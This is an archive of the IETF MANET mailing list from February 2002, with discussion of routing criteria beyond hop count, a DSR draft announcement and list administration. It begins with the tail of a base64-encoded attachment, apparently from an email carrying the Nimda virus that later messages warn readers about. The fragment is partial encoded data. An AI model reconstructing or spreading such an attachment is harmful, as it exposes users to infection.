Aj4OPho+Jj5CPlQ+cD6cPvA+9j4OPzs/VD9wP4I/kz8AUAAAOAEAAGAwazCAMJ4wvjD2MBMxIzEx MUAxTzFqMaEx0DHdMfUxCzIaMiwyOzJMMl0yczKKMrAyvzLNMtMy6jL1Mv0yODM+M1AzLTRHNFA0 ZjRsNHU0xjT7NAk1IDUxNVM1aDV4NYE1lTWfNc012DXwNfk1AjY0Njo2TDZvNnk2izamNrE2yjb8 NjY3VjeIN7Y3yDfUN9o3DTgcODc4PThLOGA4azh4OC45NDlQOV05djmWOdg53jnoOfk5EzofOig6 OTpdOmM6bDp0On46hzqTOps6ojq0Oro6wzrqOhM7KTthO3I7lTuvO8A79jsTPCk8NDx0PH88kTzY PDQ9dD2fPc89FT4bPjE+QD5RPlc+dz6EPow+kj6dPrg+wD7LPgs/Nz9DP1s/ZD99P4U/lj+/P+A/ 6j8AYAAArAEAABswQDAAMQYxIjFEMVoxdDF9McExxzHRMekxiDKhMroyJTM8M1QzhDOKM5EzqTO6 M8AzyDPXM/kz/zMFNBQ0JDQqNDU0VzRdNGg0bjR8NIQ0izSQNJY0rDSzNLo01TTgNOY0+DQFNQw1 FTUeNSY1LjU9NUM1STVVNXw1kTWZNaU1rTW8Nck1zzXaNeM18DX2Nfs1ATYHNgw2EjZFNkw2VzZ0 NsE25jYONxc3HDciNyk3Ljc9N0M3TzdXN1w3fDeIN6s3wDfLN9k34zfxN/s3BjgROC84NDg6OEU4 SzhcOGg4bTiOOJk4njilOKo4sDi2ONQ46jj2OAA5CjkiOT45TTlXOWw5czmZOZ85rjm3Ock50znl Ofc5/TkIOhg6ODpHOlM6WTpjOoI62jroOhk7WTthO2k7ezuLO5E7wDvZO/Y7DzxVPGY8dDyBPIw8 kzyyPMQ80jzpPO889TwMPRo9Lz00PTk9Pz1LPVk9fj2EPcw95D3qPQE+Nj5DPlk+aD6pPq8+xT7L PtQ+9j4GPw4/Jz9uP3Y/jj+VP6A/pz/NP9g/5z//PwBwAACcAAAACjBBMGYwyTDRMOow8DD1MBox IDEzMUExSDFOMVQxWjFzMXoxhzGeMbcxvTHRMesx+zEkMnYylTKzMscy5jIEMz0zVDNsM3gzijOc M8czzjPWM9wz4TPmMxg0HjQkNCo0OjRANEY0TDRSNFg0ZjRuNHQ0fzSMNJQ0ojSnNKw0sTS8NMk0 0zToNPQ0+jQcNS41ijWmNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA= --====_ABC123456j7890DEF_==== --====_ABC123456j7890DEF_====-- From owner-manet@itd.nrl.navy.mil Mon Feb 25 05:11:25 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA03786 for ; Mon, 25 Feb 2002 05:11:25 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA23182 for manet-outgoing; Mon, 25 Feb 2002 02:36:54 -0500 (EST) Received: from malonne.lifl.fr (malonne.lifl.fr [134.206.10.29]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id CAA23174 for ; Mon, 25 Feb 2002 02:36:50 -0500 (EST) Received: from KRIEK (kriek.lifl.fr [134.206.11.16]) by malonne.lifl.fr (8.9.3/jtpda-5.3.3) with ESMTP id IAA10182 ; Mon, 25 Feb 2002 08:36:46 +0100 (MET) From: "David Simplot" To: "'MEDDOUR Djamal Eddine thesard FTRD/DAC/LAN'" , Subject: RE : others cretaria in MANET routing protocol Date: Mon, 25 Feb 2002 08:36:49 +0100 Organization: LIFL - RD2P Message-ID: <001601c1bdcf$3c8edc80$100bce86@lifl.fr> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0017_01C1BDD7.9E534480" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0017_01C1BDD7.9E534480 Content-Type: text/plain; charset="x-user-defined" Content-Transfer-Encoding: quoted-printable You are right: perhaps we can consider the "robustness" of the generated route... The definition of "robustness" could be the probability that the route stays valid during a given time without route maintenance. Notice that, in the general case, an optimal route (number of hops) is not a robust one. David. -- David SIMPLOT CNRS UPRESA 8022 - LIFL Univ. Lille 1 / IUP MIAGE Formation Continue http://www.lifl.fr/~simplot=20 =20 -----Message d'origine----- De : owner-manet@itd.nrl.navy.mil [mailto:owner-manet@itd.nrl.navy.mil] De la part de MEDDOUR Djamal Eddine thesard FTRD/DAC/LAN Envoy=E9 : mardi 19 f=E9vrier 2002 09:57 =C0 : manet@itd.nrl.navy.mil Objet : others cretaria in MANET routing protocol Hi all=20 The criteria of the choice of the optimal route is the number of hops, do you think that it's sufficient? Why don't take in consideration some other criteria like traffic load around node, node energy, node capacity, ... Any comments ------=_NextPart_000_0017_01C1BDD7.9E534480 Content-Type: text/html; charset="x-user-defined" Content-Transfer-Encoding: quoted-printable Message

You=20 are right: perhaps we can consider the "robustness" of the generated = route...=20 The definition of "robustness" could be the probability that the route = stays=20 valid during a given time without route maintenance. Notice that, in the = general=20 case, an optimal route (number of hops) is not a robust one.

David.

--
David SIMPLOT
CNRS UPRESA 8022 - LIFL Univ. = Lille 1 /=20 IUP MIAGE Formation Continue
http://www.lifl.fr/~simplot=20

-----Message d'origine-----
De :=20 owner-manet@itd.nrl.navy.mil [mailto:owner-manet@itd.nrl.navy.mil] = De la=20 part de MEDDOUR Djamal Eddine thesard = FTRD/DAC/LAN
Envoy=E9 :=20 mardi 19 f=E9vrier 2002 09:57
=C0 :=20 manet@itd.nrl.navy.mil
Objet : others cretaria in MANET = routing=20 protocol

Hi=20 all=20

The=20 criteria of the choice of the optimal route is the number of = hops, do you=20 think that it's sufficient? Why don't take in consideration some other criteria like traffic load=20 around node, node = energy,=20 node capacity, ...

Any = comments

<= /HTML> ------=_NextPart_000_0017_01C1BDD7.9E534480-- From owner-manet@itd.nrl.navy.mil Mon Feb 25 05:23:45 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA03916 for ; Mon, 25 Feb 2002 05:23:45 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id DAA23658 for manet-outgoing; Mon, 25 Feb 2002 03:27:06 -0500 (EST) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id DAA23652; Mon, 25 Feb 2002 03:27:02 -0500 (EST) Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by david.siemens.de (8.11.6/8.11.6) with ESMTP id g1P8R1d27681; Mon, 25 Feb 2002 09:27:01 +0100 (MET) Received: from mail-y.mchp.siemens.de (mail-y.mchp.siemens.de [139.23.202.157]) by mail2.siemens.de (8.11.6/8.11.6) with ESMTP id g1P8R1g14297; Mon, 25 Feb 2002 09:27:01 +0100 (MET) Received: from york.mchp.siemens.de (york [139.23.202.159]) by mail-y.mchp.siemens.de with ESMTP id g1P8R0AR007989; Mon, 25 Feb 2002 09:27:00 +0100 (MET) Received: from localhost (mbahr@localhost) by york.mchp.siemens.de with SMTP id g1P8QxAk002719; Mon, 25 Feb 2002 09:26:59 +0100 (MET) Date: Mon, 25 Feb 2002 09:26:58 +0100 (MET) From: Michael Bahr To: owner-manet@itd.nrl.navy.mil cc: manet@itd.nrl.navy.mil Subject: Virus in: Re: AW: column spanned in multicolumn region In-Reply-To: <200202241245.HAA13917@itd.nrl.navy.mil> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi all, The email with subject "Re: AW: column spanned in multicolumn region" from owner-manet@itd.nrl.navy.mil contains the Nimda-virus. Do not open the attachment. Anyway, it isn't a wav-file, its an exe-file containing the virus. Just throw the email away (and delete your "Deleted Messages Folder" as well). All the best, Michael Bahr From owner-manet@itd.nrl.navy.mil Mon Feb 25 08:41:41 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA09690 for ; Mon, 25 Feb 2002 08:41:41 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA25751 for manet-outgoing; Mon, 25 Feb 2002 06:24:26 -0500 (EST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA25743 for ; Mon, 25 Feb 2002 06:24:18 -0500 (EST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05208; Mon, 25 Feb 2002 06:24:15 -0500 (EST) Message-Id: <200202251124.GAA05208@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: manet@itd.nrl.navy.mil From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-manet-dsr-07.txt Date: Mon, 25 Feb 2002 06:24:15 -0500 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Mobile Ad-hoc Networks Working Group of the IETF. Title : The Dynamic Source Routing Protocol for Mobile Ad Hoc Networks (DSR) Author(s) : D. Johnson, D. Maltz, Y. Hu, J. Jetcheva Filename : draft-ietf-manet-dsr-07.txt Pages : 81 Date : 22-Feb-02 The Dynamic Source Routing protocol (DSR) is a simple and efficient routing protocol designed specifically for use in multi-hop wireless ad hoc networks of mobile nodes. DSR allows the network to be completely self-organizing and self-configuring, without the need for any existing network infrastructure or administration. The protocol is composed of the two mechanisms of 'Route Discovery' and 'Route Maintenance', which work together to allow nodes to discover and maintain source routes to arbitrary destinations in the ad hoc network. The use of source routing allows packet routing to be trivially loop-free, avoids the need for up-to-date routing information in the intermediate nodes through which packets are forwarded, and allows nodes forwarding or overhearing packets to cache the routing information in them for their own future use. All aspects of the protocol operate entirely on-demand, allowing the routing packet overhead of DSR to scale automatically to only that needed to react to changes in the routes currently in use. This document specifies the operation of the DSR protocol for routing unicast IP packets in multi-hop wireless ad hoc networks. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-manet-dsr-07.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-manet-dsr-07.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-manet-dsr-07.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020222110859.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-manet-dsr-07.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-manet-dsr-07.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020222110859.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-manet@itd.nrl.navy.mil Mon Feb 25 09:28:53 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11447 for ; Mon, 25 Feb 2002 09:28:53 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA25625 for manet-outgoing; Mon, 25 Feb 2002 06:13:44 -0500 (EST) Received: from maredsous.cs.rice.edu (maredsous.cs.rice.edu [128.42.1.54]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA25620 for ; Mon, 25 Feb 2002 06:13:40 -0500 (EST) Received: (from dbj@localhost) by maredsous.cs.rice.edu id g1PBM6b58297; Mon, 25 Feb 2002 05:22:06 -0600 (CST) Date: Mon, 25 Feb 2002 05:22:06 -0600 From: Dave Johnson To: David Simplot Cc: "'MEDDOUR Djamal Eddine thesard FTRD/DAC/LAN'" , manet@itd.nrl.navy.mil Subject: Re: RE : others cretaria in MANET routing protocol Message-ID: <20020225052206.A58153@maredsous.cs.rice.edu> Reply-To: Dave Johnson References: <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> <001601c1bdcf$3c8edc80$100bce86@lifl.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <001601c1bdcf$3c8edc80$100bce86@lifl.fr>; from David.Simplot@lifl.fr on Mon, 25 Feb 2002 08:36:49AM +0100 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit The real problem is actually fairly complex. Suggesting that robustness may be more important than minimal hop count -- that you care more that a route remains valid during a given time without need for route maintenance -- seems to imply that route maintenance has some significant harmful effect to a route in use, more so than the extra overhead and latency and battery consumption caused by sending packets over routes that involve more hops than are otherwise necessary. If, instead, route maintenance can be done quickly and effeciently when needed, without significant disturbance to the flow of packets from that source to that destination, then perhaps this definition of robustness is less important. I don't at all mean to suggest that robustness actually is not important, but there are many factors that affect the "optimal" choice of routes that any given sender may want to use for any given type of traffic. In our paper "Caching Strategies in On-Demand Routing Protocols for Wireless Ad Hoc Network" at MobiCom 2000, one of our results was a new route caching strategy in which a sending node selects from its cache the route that it knows with minimum hop count to the destination, but among those with that same hop count, it selects the one that it believes will remain valid for the longest period of time, based on its past observations of links involving the nodes along that route. This caching strategy, which we call Link-MaxLife, performed overall better than other caches we studied. This cache is also the recommended cache in the DSR Internet-Draft. This MobiCom paper is available from our web site at http://www.monarch.cs.rice.edu/monarch-papers/mobicom2000.pdf. Dave David Simplot said: > You are right: perhaps we can consider the "robustness" of the generated > route... The definition of "robustness" could be the probability that > the route stays valid during a given time without route maintenance. > Notice that, in the general case, an optimal route (number of hops) is > not a robust one. > David. > -- > David SIMPLOT > CNRS UPRESA 8022 - LIFL Univ. Lille 1 / IUP MIAGE Formation Continue > http://www.lifl.fr/~simplot > > > > -----Message d'origine----- > De : owner-manet@itd.nrl.navy.mil [mailto:owner-manet@itd.nrl.navy.mil] > De la part de MEDDOUR Djamal Eddine thesard FTRD/DAC/LAN > Envoyé : mardi 19 février 2002 09:57 > À : manet@itd.nrl.navy.mil > Objet : others cretaria in MANET routing protocol > > > Hi all > > The criteria of the choice of the optimal route is the number of hops, > do you think that it's sufficient? Why don't take in consideration some > other criteria like traffic load around node, node energy, node > capacity, ... > > Any comments > From owner-manet@itd.nrl.navy.mil Mon Feb 25 09:47:39 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12279 for ; Mon, 25 Feb 2002 09:47:38 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA26816 for manet-outgoing; Mon, 25 Feb 2002 07:20:27 -0500 (EST) Received: from hotmail.com (oe53.law10.hotmail.com [64.4.14.46]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id HAA26811 for ; Mon, 25 Feb 2002 07:20:23 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 25 Feb 2002 04:20:23 -0800 X-Originating-IP: [209.86.164.233] From: "Leo" To: "Michael Bahr" Cc: References: Subject: Re: Virus in: Re: AW: column spanned in multicolumn region Date: Mon, 25 Feb 2002 07:18:05 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 25 Feb 2002 12:20:23.0420 (UTC) FILETIME=[CC88B3C0:01C1BDF6] Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit I agree. Norton warned me of the attachment and identified it as Nimda. I assumed it was either a false alarm (since it has happened before; see link below) or the real thing and just deleted it to be on the safe side. http://www.informationweek.com/story/IWK20011113S0005 Cheers, Leo ----- Original Message ----- From: "Michael Bahr" To: Cc: Sent: Monday, February 25, 2002 3:26 AM Subject: Virus in: Re: AW: column spanned in multicolumn region > > Hi all, > > The email with subject "Re: AW: column spanned in multicolumn region" from > owner-manet@itd.nrl.navy.mil contains the Nimda-virus. > > Do not open the attachment. Anyway, it isn't a wav-file, its an exe-file > containing the virus. > > Just throw the email away (and delete your "Deleted Messages Folder" as > well). > > All the best, > Michael Bahr > > > > From daemon@optimus.ietf.org Mon Feb 25 13:30:35 2002 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23549 for ; Mon, 25 Feb 2002 13:30:35 -0500 (EST) Received: (from daemon@localhost) by optimus.ietf.org (8.9.1a/8.9.1) id NAA09304 for manet-archive@odin.ietf.org; Mon, 25 Feb 2002 13:30:38 -0500 (EST) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id NAA09297 for ; Mon, 25 Feb 2002 13:30:38 -0500 (EST) Received: from ietf.org (odin [132.151.1.176]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id NAA09281 for ; Mon, 25 Feb 2002 13:30:37 -0500 (EST) Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23544 for ; Mon, 25 Feb 2002 13:30:33 -0500 (EST) Received: from SEXTANT.itd.nrl.navy.mil (sextant.itd.nrl.navy.mil [132.250.92.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id NAA12334 for ; Mon, 25 Feb 2002 13:30:35 -0500 (EST) Message-Id: <5.0.1.4.2.20020225133919.019f2d98@pop.itd.nrl.navy.mil> X-Sender: macker@pop.itd.nrl.navy.mil X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Mon, 25 Feb 2002 13:39:38 -0500 To: manet@ietf.org From: Joe Macker Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: [manet] Testing...please ignore Sender: manet-admin@ietf.org Errors-To: manet-admin@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: Mobile Ad-hoc Networks X-BeenThere: manet@ietf.org _______________________________________________ manet mailing list manet@ietf.org https://www1.ietf.org/mailman/listinfo/manet From owner-manet@itd.nrl.navy.mil Mon Feb 25 19:29:01 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04947 for ; Mon, 25 Feb 2002 19:29:00 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id QAA21272 for manet-outgoing; Mon, 25 Feb 2002 16:58:24 -0500 (EST) Received: from SEXTANT.itd.nrl.navy.mil (sextant.itd.nrl.navy.mil [132.250.92.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id QAA21264 for ; Mon, 25 Feb 2002 16:58:21 -0500 (EST) Message-Id: <5.0.1.4.2.20020225170541.01a021d0@pop.itd.nrl.navy.mil> X-Sender: macker@pop.itd.nrl.navy.mil X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Mon, 25 Feb 2002 17:07:38 -0500 To: manet@itd.nrl.navy.mil From: Joe Macker Subject: Agenda Items for Minneapolis Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk All: We would like to solicit for additional agenda input from the WG for the upcoming Minneapolis meeting. Thanks, Joe n' Scott From owner-manet@itd.nrl.navy.mil Mon Feb 25 19:29:20 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04959 for ; Mon, 25 Feb 2002 19:29:20 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA21522 for manet-outgoing; Mon, 25 Feb 2002 17:05:32 -0500 (EST) Received: from SEXTANT.itd.nrl.navy.mil (sextant.itd.nrl.navy.mil [132.250.92.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id RAA21514 for ; Mon, 25 Feb 2002 17:05:29 -0500 (EST) Message-Id: <5.0.1.4.2.20020225170739.02fef548@pop.itd.nrl.navy.mil> X-Sender: macker@pop.itd.nrl.navy.mil X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Mon, 25 Feb 2002 17:14:46 -0500 To: manet@itd.nrl.navy.mil From: Joe Macker Subject: Planned Mailing List move to ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk All: I am moving the mailing list host to ietf.org soon (likely later this week, Wednesday or Thursday). I will send out a message on manet@itd.nrl.navy.mil when this is about to happen and will move everyone in bulk. The new list will be manet@ietf.org. Do not use it until you receive the welcome message. You should also receive a welcome message and complete instructions once this happens. the mailman...(not Karl Malone). From owner-manet@itd.nrl.navy.mil Mon Feb 25 22:35:37 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08966 for ; Mon, 25 Feb 2002 22:35:37 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA26009 for manet-outgoing; Mon, 25 Feb 2002 20:22:04 -0500 (EST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA26004 for ; Mon, 25 Feb 2002 20:22:01 -0500 (EST) Received: from FRED-W2K6.cisco.com ([171.71.21.235]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id g1Q1Lww27012; Mon, 25 Feb 2002 17:21:59 -0800 (PST) Message-Id: <4.3.2.7.2.20020225171131.02427f88@mira-sjcm-2.cisco.com> X-Sender: fred@mira-sjcm-2.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 25 Feb 2002 17:16:58 -0800 To: Dave Johnson From: Fred Baker Subject: Re: RE : others cretaria in MANET routing protocol Cc: manet@itd.nrl.navy.mil In-Reply-To: <20020225052206.A58153@maredsous.cs.rice.edu> References: <001601c1bdcf$3c8edc80$100bce86@lifl.fr> <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> <001601c1bdcf$3c8edc80$100bce86@lifl.fr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk At 03:22 AM 2/25/2002, Dave Johnson wrote: >one of our results was a new route caching strategy in which a sending >node selects from its cache the route that it knows with minimum hop count >to the destination, but among those with that same hop count, it selects >the one that it believes will remain valid for the longest period of time, >based on its past observations of links involving the nodes along that route. I'll argue that hop count in and of itself is a poor indicator. Consider the following A--------------------->B ---------->C---------> B and C can both hear A; C hears A with an excellent S/N Ratio and B hears A with a poor signal to noise ratio, such that a small percentage of packets (less than some threshold measured in percent) can actually traverse A->B. I will argue that A->C->B is much kinder to the application than A->B, so adding a hop creates a significantly improved route even though the smaller hop count would be nice. It seems to me that hop count might be a tie-breaker amount routes of equal robustness, not the other way around. From owner-manet@itd.nrl.navy.mil Mon Feb 25 23:52:48 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA10479 for ; Mon, 25 Feb 2002 23:52:48 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id VAA27155 for manet-outgoing; Mon, 25 Feb 2002 21:35:23 -0500 (EST) Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id VAA27150 for ; Mon, 25 Feb 2002 21:35:20 -0500 (EST) Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id TAA00549 for ; Mon, 25 Feb 2002 19:35:20 -0700 (MST)] Received: [from homer.arc.corp.mot.com (homer.arc.corp.mot.com [10.238.80.38]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id TAA09332 for ; Mon, 25 Feb 2002 19:23:42 -0700 (MST)] Received: from arc.corp.mot.com (kwchin.arc.corp.mot.com [10.238.80.134]) by homer.arc.corp.mot.com (8.12.2/8.12.2) with ESMTP id g1Q2ZCrA002005; Tue, 26 Feb 2002 13:35:12 +1100 (EST) 